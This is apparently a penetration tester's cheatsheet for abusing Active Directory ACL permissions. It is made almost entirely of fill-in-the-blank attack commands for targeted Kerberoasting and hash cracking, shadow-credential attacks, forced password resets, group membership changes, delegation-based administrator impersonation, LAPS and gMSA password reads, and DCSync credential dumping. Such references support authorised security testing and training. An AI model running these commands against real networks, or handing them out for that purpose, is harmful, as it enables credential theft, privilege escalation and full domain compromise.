Skip to main content

ACL Cheatsheet

GenericWrite

Update object's attributes

targetKerberoasting

python targetedKerberoast.py -v -d <domain> -u <username> -p <password>
hashcat -m 13100 -a 0 <hash_file> rockyou.txt --force

ShadowCredentials

certipy shadow auto -u username@domain -p <password> -account <target_username> -dc-ip <ip>

Using Kerberos

certipy shadow auto -username username@domain -p <password> -k -account <target_username> -target <dc>

GenericALL

Full rights to the object (add users to a group or reset user's password)

Password Change

net rpc password <username> <new_password> -U <domain>/<username>%<hash> -S <dc> --pw-nt-hash

Add user to a group

net rpc group addmem <target_group> <username> -U <domain>/<username> -S <dc>

RBCD

rbcd.py -delegate-from '<machine_name>' -delegate-to '<target>' -dc-ip <ip> -action 'write' '<domain>/<username>:<password>'
getST.py -spn 'cifs/<dc>' -impersonate administrator -dc-ip <ip> '<domain>/<machine_name>:<password>'
export KRB5CCNAME=administrator.ccache

ForceChangePassword

Ability to change user's password

net rpc password <TargetUser> <new_password> -U "DOMAIN"/"ControlledUser"%"Password" -S <DomainController>
bloodyAD --host <ip> -d <dc> -u <username> -p <password> set password <target_userename> <new_password>
python rpcchangepwd.py <domain>/<username>:<password>@<ip> -newpass <new_password>

AddMember

net rpc group addmem <target_group> <username> -U <domain>/<username> -S <dc>

WriteOwner

Change object owner to attacker controlled user take over the object

owneredit.py -action write -new-owner <username> -target <group_name> <domain>/<username>:<password>
dacledit.py -action 'write' -rights 'WriteMembers' -principal <username> -target-dn <dn> <domain>/<username>:<password>
bloodyAD.py -d <domain> -u <username> -p <password> --host <dc> add groupMember <target_group> <username>
python3 pywhisker.py -d <domain> --dc-ip <ip> -u <username> -H :<hashes> --target <target_username> --action "add"
certipy shadow auto -username <username>@<domain> -hashes :<hashes> -account <target_username>

ReadLAPSPassword

nxc smb <target> -u <username> -p <password> --laps

ReadGMSAPassword

nxc ldap <target> -u <username> -p <password> --gmsa

DCSync

secretsdump.py <dc> -k
nxc smb <domain> -u <username> -p <password> --ntds
nxc smb <domain> -k --use-kcache --ntds

Resources

  • https://www.thehacker.recipes/ad/movement/dacl/
  • https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse
  • https://mayfly277.github.io/posts/GOADv2-pwning-part11/
  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces